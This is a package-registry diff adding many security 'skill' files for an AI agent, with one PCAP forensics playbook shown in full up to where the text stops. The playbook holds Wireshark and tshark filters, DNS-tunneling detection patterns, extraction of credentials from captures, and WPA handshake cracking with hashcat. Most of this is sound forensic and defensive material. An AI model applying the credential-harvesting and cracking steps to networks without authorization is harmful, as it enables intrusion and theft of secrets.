ineedcodes 1.6.1 → 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -1
- package/skills/401-403-bypass-techniques/SKILL.md +348 -0
- package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
- package/skills/active-directory-acl-abuse/SKILL.md +295 -0
- package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
- package/skills/active-directory-certificate-services/SKILL.md +303 -0
- package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
- package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
- package/skills/ai-ml-security/SKILL.md +425 -0
- package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
- package/skills/android-pentesting-tricks/SKILL.md +369 -0
- package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
- package/skills/anti-debugging-techniques/SKILL.md +407 -0
- package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
- package/skills/api-authorization-and-bola/SKILL.md +48 -0
- package/skills/api-recon-and-docs/SKILL.md +61 -0
- package/skills/api-sec/SKILL.md +49 -0
- package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
- package/skills/auth-sec/SKILL.md +41 -0
- package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
- package/skills/bba-ad-attacker/SKILL.md +420 -0
- package/skills/bba-api-security/SKILL.md +95 -0
- package/skills/bba-attack-planner/SKILL.md +186 -0
- package/skills/bba-binary-exploit/SKILL.md +65 -0
- package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
- package/skills/bba-bug-bounty/SKILL.md +245 -0
- package/skills/bba-cicd-redteam/SKILL.md +515 -0
- package/skills/bba-cloud-security/SKILL.md +97 -0
- package/skills/bba-container-escape/SKILL.md +161 -0
- package/skills/bba-credential-tester/SKILL.md +346 -0
- package/skills/bba-crypto-analyst/SKILL.md +54 -0
- package/skills/bba-ctf-solver/SKILL.md +166 -0
- package/skills/bba-detection-engineer/SKILL.md +93 -0
- package/skills/bba-engagement-planner/SKILL.md +68 -0
- package/skills/bba-exploit-chainer/SKILL.md +280 -0
- package/skills/bba-exploit-guide/SKILL.md +96 -0
- package/skills/bba-forensics-analyst/SKILL.md +512 -0
- package/skills/bba-graphql-hunter/SKILL.md +145 -0
- package/skills/bba-hardware-hacker/SKILL.md +57 -0
- package/skills/bba-jwt-cracker/SKILL.md +133 -0
- package/skills/bba-llm-redteam/SKILL.md +149 -0
- package/skills/bba-malware-analyst/SKILL.md +305 -0
- package/skills/bba-mobile-pentester/SKILL.md +350 -0
- package/skills/bba-osint-collector/SKILL.md +645 -0
- package/skills/bba-payload-crafter/SKILL.md +347 -0
- package/skills/bba-phishing-operator/SKILL.md +516 -0
- package/skills/bba-poc-validator/SKILL.md +249 -0
- package/skills/bba-privesc-advisor/SKILL.md +98 -0
- package/skills/bba-purple-team/SKILL.md +56 -0
- package/skills/bba-recon-advisor/SKILL.md +215 -0
- package/skills/bba-red-team-operator/SKILL.md +61 -0
- package/skills/bba-report-generator/SKILL.md +145 -0
- package/skills/bba-reverse-engineer/SKILL.md +298 -0
- package/skills/bba-social-engineer/SKILL.md +341 -0
- package/skills/bba-ssrf-hunter/SKILL.md +120 -0
- package/skills/bba-stig-analyst/SKILL.md +108 -0
- package/skills/bba-subdomain-takeover/SKILL.md +141 -0
- package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
- package/skills/bba-threat-modeler/SKILL.md +574 -0
- package/skills/bba-vuln-scanner/SKILL.md +305 -0
- package/skills/bba-web-hunter/SKILL.md +285 -0
- package/skills/bba-wireless-pentester/SKILL.md +539 -0
- package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
- package/skills/binary-protection-bypass/SKILL.md +295 -0
- package/skills/browser-exploitation-v8/SKILL.md +334 -0
- package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
- package/skills/business-logic-vuln/SKILL.md +33 -0
- package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
- package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
- package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
- package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
- package/skills/classical-cipher-analysis/SKILL.md +663 -0
- package/skills/clickjacking/SKILL.md +163 -0
- package/skills/cmdi-command-injection/SKILL.md +687 -0
- package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
- package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
- package/skills/container-escape-techniques/SKILL.md +339 -0
- package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
- package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
- package/skills/crlf-injection/SKILL.md +179 -0
- package/skills/csp-bypass-advanced/SKILL.md +259 -0
- package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
- package/skills/csv-formula-injection/SKILL.md +144 -0
- package/skills/dangling-markup-injection/SKILL.md +321 -0
- package/skills/defi-attack-patterns/SKILL.md +355 -0
- package/skills/dependency-confusion/SKILL.md +178 -0
- package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
- package/skills/deserialization-insecure/SKILL.md +725 -0
- package/skills/dns-rebinding-attacks/SKILL.md +337 -0
- package/skills/email-header-injection/SKILL.md +349 -0
- package/skills/expression-language-injection/SKILL.md +243 -0
- package/skills/file-access-vuln/SKILL.md +33 -0
- package/skills/format-string-exploitation/SKILL.md +312 -0
- package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
- package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
- package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
- package/skills/hack/SKILL.md +162 -0
- package/skills/hash-attack-techniques/SKILL.md +491 -0
- package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
- package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
- package/skills/heap-exploitation/SKILL.md +217 -0
- package/skills/http-host-header-attacks/SKILL.md +323 -0
- package/skills/http-parameter-pollution/SKILL.md +208 -0
- package/skills/http2-specific-attacks/SKILL.md +350 -0
- package/skills/idor-broken-object-authorization/SKILL.md +336 -0
- package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
- package/skills/injection-checking/SKILL.md +50 -0
- package/skills/insecure-source-code-management/SKILL.md +161 -0
- package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
- package/skills/ios-pentesting-tricks/SKILL.md +418 -0
- package/skills/jndi-injection/SKILL.md +265 -0
- package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
- package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
- package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
- package/skills/kernel-exploitation/SKILL.md +307 -0
- package/skills/kubernetes-pentesting/SKILL.md +348 -0
- package/skills/lattice-crypto-attacks/SKILL.md +497 -0
- package/skills/linux-lateral-movement/SKILL.md +348 -0
- package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
- package/skills/linux-privilege-escalation/SKILL.md +346 -0
- package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
- package/skills/linux-security-bypass/SKILL.md +345 -0
- package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
- package/skills/llm-prompt-injection/SKILL.md +357 -0
- package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
- package/skills/macos-process-injection/SKILL.md +384 -0
- package/skills/macos-security-bypass/SKILL.md +337 -0
- package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
- package/skills/memory-forensics-volatility/SKILL.md +323 -0
- package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
- package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
- package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
- package/skills/network-protocol-attacks/SKILL.md +330 -0
- package/skills/nosql-injection/SKILL.md +341 -0
- package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
- package/skills/ntlm-relay-coercion/SKILL.md +267 -0
- package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
- package/skills/open-redirect/SKILL.md +380 -0
- package/skills/path-traversal-lfi/SKILL.md +802 -0
- package/skills/prototype-pollution/SKILL.md +190 -0
- package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
- package/skills/prototype-pollution-advanced/SKILL.md +338 -0
- package/skills/race-condition/SKILL.md +526 -0
- package/skills/recon-and-methodology/SKILL.md +389 -0
- package/skills/recon-for-sec/SKILL.md +29 -0
- package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
- package/skills/request-smuggling/SKILL.md +314 -0
- package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
- package/skills/reverse-shell-techniques/SKILL.md +290 -0
- package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
- package/skills/rsa-attack-techniques/SKILL.md +437 -0
- package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
- package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
- package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
- package/skills/sandbox-escape-techniques/SKILL.md +250 -0
- package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
- package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
- package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
- package/skills/sqli-sql-injection/SKILL.md +489 -0
- package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
- package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
- package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
- package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
- package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
- package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
- package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
- package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
- package/skills/stack-overflow-and-rop/SKILL.md +304 -0
- package/skills/steganography-techniques/SKILL.md +348 -0
- package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
- package/skills/subdomain-takeover/SKILL.md +247 -0
- package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
- package/skills/symbolic-execution-tools/SKILL.md +419 -0
- package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
- package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
- package/skills/traffic-analysis-pcap/SKILL.md +341 -0
- package/skills/tunneling-and-pivoting/SKILL.md +343 -0
- package/skills/type-juggling/SKILL.md +291 -0
- package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
- package/skills/unauthorized-access-common-services/SKILL.md +388 -0
- package/skills/upload-insecure-files/SCENARIOS.md +158 -0
- package/skills/upload-insecure-files/SKILL.md +543 -0
- package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
- package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
- package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
- package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
- package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
- package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
- package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
- package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
- package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
- package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
- package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
- package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
- package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
- package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
- package/skills/waf-bypass-techniques/SKILL.md +290 -0
- package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
- package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
- package/skills/web-cache-deception/SKILL.md +222 -0
- package/skills/websocket-security/SKILL.md +454 -0
- package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
- package/skills/windows-av-evasion/SKILL.md +342 -0
- package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
- package/skills/windows-lateral-movement/SKILL.md +335 -0
- package/skills/windows-privilege-escalation/SKILL.md +328 -0
- package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
- package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
- package/skills/xslt-injection/SKILL.md +281 -0
- package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
- package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
- package/skills/xss-cross-site-scripting/SKILL.md +379 -0
- package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
- package/skills/xxe-xml-external-entity/SKILL.md +554 -0
- package/src/agent.js +1 -1
- package/src/session.js +6 -3
- package/src/skills.js +30 -6
- package/src/ui.js +1 -1
|
@@ -0,0 +1,341 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: traffic-analysis-pcap
|
|
3
|
+
description: >-
|
|
4
|
+
Traffic analysis and PCAP forensics playbook. Use when analyzing network captures including Wireshark filters, protocol analysis (HTTP/DNS/FTP/SMTP/USB/WiFi), data extraction, covert channel detection, PCAP repair, TLS decryption, and tshark command-line analysis.gated: true
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# SKILL: Traffic Analysis & PCAP — Expert Analysis Playbook
|
|
8
|
+
|
|
9
|
+
> **AI LOAD INSTRUCTION**: Expert traffic analysis and PCAP forensics techniques. Covers PCAP repair, Wireshark essential filters, protocol-specific analysis (HTTP, HTTPS/TLS, DNS, FTP, SMTP, USB HID, WiFi, ICMP), data extraction (file carving, credential harvesting, covert channels), NetworkMiner, and tshark CLI analysis. Base models miss USB keyboard decode patterns, DNS tunneling detection heuristics, and TLS decryption workflows.
|
|
10
|
+
|
|
11
|
+
## 0. RELATED ROUTING
|
|
12
|
+
|
|
13
|
+
Before going deep, consider loading:
|
|
14
|
+
|
|
15
|
+
- [memory-forensics-volatility](../memory-forensics-volatility/SKILL.md) for correlating memory artifacts with network traffic
|
|
16
|
+
- [steganography-techniques](../steganography-techniques/SKILL.md) for analyzing files extracted from traffic captures
|
|
17
|
+
- [network-protocol-attacks](../network-protocol-attacks/SKILL.md) for understanding attack patterns visible in captures
|
|
18
|
+
- [reverse-shell-techniques](../reverse-shell-techniques/SKILL.md) for identifying shell traffic in captures
|
|
19
|
+
|
|
20
|
+
---
|
|
21
|
+
|
|
22
|
+
## 1. PCAP REPAIR
|
|
23
|
+
|
|
24
|
+
```bash
|
|
25
|
+
pcapfix corrupted.pcap -o fixed.pcap # repair corrupted PCAP
|
|
26
|
+
# Magic bytes: d4c3b2a1=pcap(LE), a1b2c3d4=pcap(BE), 0a0d0d0a=pcapng
|
|
27
|
+
editcap -F pcap capture.pcapng capture.pcap # convert pcapng→pcap
|
|
28
|
+
mergecap -w merged.pcap file1.pcap file2.pcap # merge captures
|
|
29
|
+
```
|
|
30
|
+
|
|
31
|
+
---
|
|
32
|
+
|
|
33
|
+
## 2. WIRESHARK ESSENTIAL FILTERS
|
|
34
|
+
|
|
35
|
+
### IP / Host Filters
|
|
36
|
+
|
|
37
|
+
```
|
|
38
|
+
ip.addr == 10.0.0.1 # source or destination
|
|
39
|
+
ip.src == 10.0.0.1 # source only
|
|
40
|
+
ip.dst == 10.0.0.1 # destination only
|
|
41
|
+
ip.addr == 10.0.0.0/24 # subnet
|
|
42
|
+
!(ip.addr == 10.0.0.1) # exclude host
|
|
43
|
+
```
|
|
44
|
+
|
|
45
|
+
### Protocol Filters
|
|
46
|
+
|
|
47
|
+
```
|
|
48
|
+
http # all HTTP
|
|
49
|
+
dns # all DNS
|
|
50
|
+
tcp # all TCP
|
|
51
|
+
ftp # all FTP
|
|
52
|
+
smtp # all SMTP
|
|
53
|
+
tls # all TLS/SSL
|
|
54
|
+
icmp # all ICMP
|
|
55
|
+
arp # all ARP
|
|
56
|
+
```
|
|
57
|
+
|
|
58
|
+
### TCP / Stream
|
|
59
|
+
|
|
60
|
+
```
|
|
61
|
+
tcp.stream eq 5 # follow specific TCP stream
|
|
62
|
+
tcp.port == 80 # traffic on port 80
|
|
63
|
+
tcp.flags.syn == 1 && tcp.flags.ack == 0 # SYN packets (connection starts)
|
|
64
|
+
tcp.analysis.retransmission # retransmitted packets
|
|
65
|
+
tcp.len > 0 # packets with payload
|
|
66
|
+
```
|
|
67
|
+
|
|
68
|
+
### HTTP
|
|
69
|
+
|
|
70
|
+
```
|
|
71
|
+
http.request.method == "POST" # POST requests
|
|
72
|
+
http.request.method == "GET" # GET requests
|
|
73
|
+
http.response.code == 200 # successful responses
|
|
74
|
+
http.response.code >= 400 # error responses
|
|
75
|
+
http.request.uri contains "login" # URI contains string
|
|
76
|
+
http.host contains "target.com" # specific host
|
|
77
|
+
http.content_type contains "json" # JSON responses
|
|
78
|
+
http.cookie contains "session" # session cookies
|
|
79
|
+
http.request.full_uri # show full URIs (column)
|
|
80
|
+
```
|
|
81
|
+
|
|
82
|
+
### DNS
|
|
83
|
+
|
|
84
|
+
```
|
|
85
|
+
dns.qry.name contains "evil.com" # specific domain queries
|
|
86
|
+
dns.qry.type == 1 # A records
|
|
87
|
+
dns.qry.type == 28 # AAAA records
|
|
88
|
+
dns.qry.type == 16 # TXT records
|
|
89
|
+
dns.flags.response == 1 # DNS responses only
|
|
90
|
+
dns.resp.len > 100 # large DNS responses
|
|
91
|
+
```
|
|
92
|
+
|
|
93
|
+
### TLS
|
|
94
|
+
|
|
95
|
+
```
|
|
96
|
+
tls.handshake.type == 1 # Client Hello
|
|
97
|
+
tls.handshake.type == 2 # Server Hello
|
|
98
|
+
tls.handshake.extensions.server_name # SNI (hostname)
|
|
99
|
+
tls.handshake.type == 11 # Certificate
|
|
100
|
+
```
|
|
101
|
+
|
|
102
|
+
### Content Search
|
|
103
|
+
|
|
104
|
+
```
|
|
105
|
+
frame contains "password" # search in raw bytes
|
|
106
|
+
frame contains "flag{" # CTF flag pattern
|
|
107
|
+
tcp contains "admin" # search in TCP payload
|
|
108
|
+
```
|
|
109
|
+
|
|
110
|
+
---
|
|
111
|
+
|
|
112
|
+
## 3. PROTOCOL ANALYSIS
|
|
113
|
+
|
|
114
|
+
### HTTP — Follow Stream & Extract
|
|
115
|
+
|
|
116
|
+
```
|
|
117
|
+
Right-click packet → Follow → TCP Stream
|
|
118
|
+
# Shows full HTTP request/response conversation
|
|
119
|
+
|
|
120
|
+
# File extraction:
|
|
121
|
+
# File → Export Objects → HTTP → Save All
|
|
122
|
+
|
|
123
|
+
# Useful filters for credential hunting:
|
|
124
|
+
http.request.method == "POST" && frame contains "password"
|
|
125
|
+
http.request.method == "POST" && frame contains "login"
|
|
126
|
+
http.authbasic # Basic auth (base64 encoded)
|
|
127
|
+
```
|
|
128
|
+
|
|
129
|
+
### HTTPS / TLS Decryption
|
|
130
|
+
|
|
131
|
+
```bash
|
|
132
|
+
# Method 1: SSLKEYLOGFILE (pre-master secrets from browser)
|
|
133
|
+
# Set environment variable BEFORE opening browser:
|
|
134
|
+
export SSLKEYLOGFILE=/tmp/sslkeys.log
|
|
135
|
+
firefox https://target.com
|
|
136
|
+
|
|
137
|
+
# Wireshark: Edit → Preferences → Protocols → TLS
|
|
138
|
+
# → (Pre)-Master-Secret log filename: /tmp/sslkeys.log
|
|
139
|
+
|
|
140
|
+
# Method 2: Server private key (for RSA key exchange only)
|
|
141
|
+
# Wireshark: Edit → Preferences → Protocols → TLS → RSA keys list
|
|
142
|
+
# → Add: IP, Port, Protocol, Key file (.pem)
|
|
143
|
+
```
|
|
144
|
+
|
|
145
|
+
### DNS — Tunneling Detection
|
|
146
|
+
|
|
147
|
+
```bash
|
|
148
|
+
# Indicators of DNS tunneling:
|
|
149
|
+
# 1. Unusually long subdomain names (>30 chars)
|
|
150
|
+
# 2. High volume of TXT record queries/responses
|
|
151
|
+
# 3. Consistent query patterns to same domain
|
|
152
|
+
# 4. Base32/Base64-like subdomain strings
|
|
153
|
+
# 5. High query frequency from single host
|
|
154
|
+
|
|
155
|
+
# Wireshark filter for suspicious DNS:
|
|
156
|
+
dns.qry.name.len > 50 # long query names
|
|
157
|
+
dns.qry.type == 16 # TXT records (common for tunneling)
|
|
158
|
+
dns.resp.len > 512 # large DNS responses
|
|
159
|
+
|
|
160
|
+
# tshark extraction:
|
|
161
|
+
tshark -r capture.pcap -Y "dns.qry.type==16" -T fields -e dns.qry.name
|
|
162
|
+
```
|
|
163
|
+
|
|
164
|
+
### FTP — Credential & File Extraction
|
|
165
|
+
|
|
166
|
+
```bash
|
|
167
|
+
# FTP credentials (plaintext)
|
|
168
|
+
# Filter: ftp.request.command == "USER" || ftp.request.command == "PASS"
|
|
169
|
+
|
|
170
|
+
# FTP file transfer reconstruction:
|
|
171
|
+
# FTP uses separate data channel (usually port 20 or dynamic)
|
|
172
|
+
# Follow TCP stream of data connection to extract file
|
|
173
|
+
|
|
174
|
+
# tshark:
|
|
175
|
+
tshark -r capture.pcap -Y "ftp.request.command==USER || ftp.request.command==PASS" -T fields -e ftp.request.arg
|
|
176
|
+
```
|
|
177
|
+
|
|
178
|
+
### SMTP — Email Content Extraction
|
|
179
|
+
|
|
180
|
+
```bash
|
|
181
|
+
# Follow TCP stream → MAIL FROM/RCPT TO/DATA sections
|
|
182
|
+
# Attachments: base64 in MIME → decode Content-Transfer-Encoding blocks
|
|
183
|
+
# Filters:
|
|
184
|
+
smtp.req.command == "AUTH" # authentication (often base64)
|
|
185
|
+
smtp contains "Content-Disposition: attachment" # attachments
|
|
186
|
+
```
|
|
187
|
+
|
|
188
|
+
### USB — Keyboard HID Capture Decode
|
|
189
|
+
|
|
190
|
+
```bash
|
|
191
|
+
# USB HID keyboard traffic: interrupt transfers with 8-byte data
|
|
192
|
+
# Filter: usb.transfer_type == 0x01
|
|
193
|
+
|
|
194
|
+
# Extract keystrokes:
|
|
195
|
+
tshark -r usb.pcap -Y "usb.capdata && usb.data_len == 8" -T fields -e usb.capdata > keystrokes.txt
|
|
196
|
+
|
|
197
|
+
# HID keycode layout: byte[0]=modifier, byte[2]=keycode
|
|
198
|
+
# 0x04=a..0x1d=z, 0x1e=1..0x27=0, 0x28=Enter, 0x2c=Space
|
|
199
|
+
# Use Python/online HID decoder to convert keycodes → text
|
|
200
|
+
```
|
|
201
|
+
|
|
202
|
+
### WiFi — WPA Handshake
|
|
203
|
+
|
|
204
|
+
```bash
|
|
205
|
+
# Capture: airodump-ng --bssid AP_MAC -w capture wlan0mon
|
|
206
|
+
# Convert + crack: hcxpcapngtool -o hash.hc22000 capture.pcap
|
|
207
|
+
hashcat -m 22000 hash.hc22000 wordlist.txt
|
|
208
|
+
# Deauth detection: wlan.fc.type_subtype == 0x0c
|
|
209
|
+
```
|
|
210
|
+
|
|
211
|
+
### ICMP — Data Exfiltration
|
|
212
|
+
|
|
213
|
+
```bash
|
|
214
|
+
# ICMP payload analysis
|
|
215
|
+
# Normal ping: 32 or 64 bytes of pattern data
|
|
216
|
+
# Exfiltration: meaningful data in ICMP payload
|
|
217
|
+
|
|
218
|
+
# Filter:
|
|
219
|
+
icmp && data.len > 48 # unusual ICMP payload size
|
|
220
|
+
icmp.type == 8 # echo requests
|
|
221
|
+
|
|
222
|
+
# Extract ICMP payloads:
|
|
223
|
+
tshark -r capture.pcap -Y "icmp.type==8" -T fields -e data.data
|
|
224
|
+
```
|
|
225
|
+
|
|
226
|
+
---
|
|
227
|
+
|
|
228
|
+
## 4. DATA EXTRACTION
|
|
229
|
+
|
|
230
|
+
### File Carving
|
|
231
|
+
|
|
232
|
+
```bash
|
|
233
|
+
# Wireshark: File → Export Objects
|
|
234
|
+
# Supported: HTTP, SMB, TFTP, IMF (email), DICOM
|
|
235
|
+
|
|
236
|
+
# Manual from reassembled stream:
|
|
237
|
+
# Follow TCP Stream → Show as Raw → Save As
|
|
238
|
+
|
|
239
|
+
# binwalk on exported stream data
|
|
240
|
+
binwalk -e exported_stream.bin
|
|
241
|
+
foremost -i exported_stream.bin -o carved/
|
|
242
|
+
```
|
|
243
|
+
|
|
244
|
+
### Credential Harvesting
|
|
245
|
+
|
|
246
|
+
```bash
|
|
247
|
+
# Plaintext: ftp || telnet || http.authbasic || smtp || pop || imap
|
|
248
|
+
# NTLM: ntlmssp.auth.username → extract challenge/response from NTLMSSP messages
|
|
249
|
+
# Hash format: user::domain:challenge:NTProofStr:blob → hashcat -m 5600
|
|
250
|
+
```
|
|
251
|
+
|
|
252
|
+
### Covert Channel Detection
|
|
253
|
+
|
|
254
|
+
Indicators: DNS with long subdomains, ICMP with large payloads, HTTP with encoded headers, regular beacon intervals (C2). Use `tshark -q -z io,stat,1` and `-z conv,tcp` for statistical anomaly detection.
|
|
255
|
+
|
|
256
|
+
---
|
|
257
|
+
|
|
258
|
+
## 5. NETWORKMINER
|
|
259
|
+
|
|
260
|
+
```bash
|
|
261
|
+
# Automated PCAP analysis: sudo apt install networkminer
|
|
262
|
+
# Open PCAP → auto-extracts: Files, Images, Credentials, Sessions, DNS
|
|
263
|
+
# Files tab: carved from HTTP/SMB/FTP | Credentials tab: plaintext creds
|
|
264
|
+
```
|
|
265
|
+
|
|
266
|
+
---
|
|
267
|
+
|
|
268
|
+
## 6. TSHARK COMMAND-LINE ANALYSIS
|
|
269
|
+
|
|
270
|
+
```bash
|
|
271
|
+
tshark -r capture.pcap -Y "http.request" -T fields -e http.host -e http.request.uri
|
|
272
|
+
tshark -r capture.pcap -Y "dns.flags.response==0" -T fields -e dns.qry.name | sort -u
|
|
273
|
+
tshark -r capture.pcap -Y "http.request.method==POST" -T fields -e http.file_data
|
|
274
|
+
tshark -r capture.pcap -q -z io,stat,1 # I/O graph
|
|
275
|
+
tshark -r capture.pcap -q -z conv,tcp # TCP conversations
|
|
276
|
+
tshark -r capture.pcap -q -z endpoints,ip # IP endpoints
|
|
277
|
+
tshark -r capture.pcap -q -z io,phs # protocol hierarchy
|
|
278
|
+
tshark -r capture.pcap -q -z follow,tcp,ascii,0 # follow stream 0
|
|
279
|
+
tshark -r capture.pcap --export-objects http,/tmp/exported/
|
|
280
|
+
```
|
|
281
|
+
|
|
282
|
+
---
|
|
283
|
+
|
|
284
|
+
## 7. DECISION TREE
|
|
285
|
+
|
|
286
|
+
```
|
|
287
|
+
PCAP file for analysis
|
|
288
|
+
│
|
|
289
|
+
├── File won't open?
|
|
290
|
+
│ ├── Check magic bytes: xxd | head (§1)
|
|
291
|
+
│ ├── Repair: pcapfix (§1)
|
|
292
|
+
│ └── Convert: editcap pcapng→pcap (§1)
|
|
293
|
+
│
|
|
294
|
+
├── What's in the capture? (Quick overview)
|
|
295
|
+
│ ├── tshark -q -z io,phs (protocol hierarchy) (§6)
|
|
296
|
+
│ ├── tshark -q -z conv,tcp (conversations) (§6)
|
|
297
|
+
│ └── tshark -q -z endpoints,ip (endpoints) (§6)
|
|
298
|
+
│
|
|
299
|
+
├── HTTP traffic?
|
|
300
|
+
│ ├── Export objects: File → Export Objects → HTTP (§4)
|
|
301
|
+
│ ├── Credential hunt: POST + password/login filters (§3)
|
|
302
|
+
│ ├── Follow streams: interesting request/response pairs (§3)
|
|
303
|
+
│ └── Encrypted (HTTPS)? → need SSLKEYLOGFILE or RSA key (§3)
|
|
304
|
+
│
|
|
305
|
+
├── DNS traffic?
|
|
306
|
+
│ ├── Long subdomains? → DNS tunneling (§3)
|
|
307
|
+
│ ├── High TXT record volume? → DNS exfiltration (§3)
|
|
308
|
+
│ ├── Extract all queries: tshark -Y dns -T fields -e dns.qry.name (§6)
|
|
309
|
+
│ └── DNS rebinding? → check for alternating A record responses
|
|
310
|
+
│
|
|
311
|
+
├── FTP / Telnet / SMTP?
|
|
312
|
+
│ ├── Extract credentials (plaintext) (§3)
|
|
313
|
+
│ ├── Reconstruct file transfers (follow data stream) (§3)
|
|
314
|
+
│ └── Email content and attachments (base64 decode) (§3)
|
|
315
|
+
│
|
|
316
|
+
├── USB traffic?
|
|
317
|
+
│ ├── Keyboard HID → decode keystrokes (§3)
|
|
318
|
+
│ ├── Storage → extract transferred files
|
|
319
|
+
│ └── Check transfer_type and data_len fields
|
|
320
|
+
│
|
|
321
|
+
├── WiFi traffic?
|
|
322
|
+
│ ├── WPA handshake → crack with hashcat (§3)
|
|
323
|
+
│ ├── Deauth frames → detect attack (§3)
|
|
324
|
+
│ └── Probe requests → device fingerprinting
|
|
325
|
+
│
|
|
326
|
+
├── ICMP traffic?
|
|
327
|
+
│ ├── Large/variable payloads → data exfiltration (§3)
|
|
328
|
+
│ ├── Regular pattern → ICMP tunnel (§3)
|
|
329
|
+
│ └── Extract payloads: tshark -Y icmp -T fields -e data.data
|
|
330
|
+
│
|
|
331
|
+
├── Suspicious patterns?
|
|
332
|
+
│ ├── Regular beacon interval → C2 communication (§4)
|
|
333
|
+
│ ├── Unusual port/protocol combos → covert channel (§4)
|
|
334
|
+
│ ├── High volume to single external IP → data exfil (§4)
|
|
335
|
+
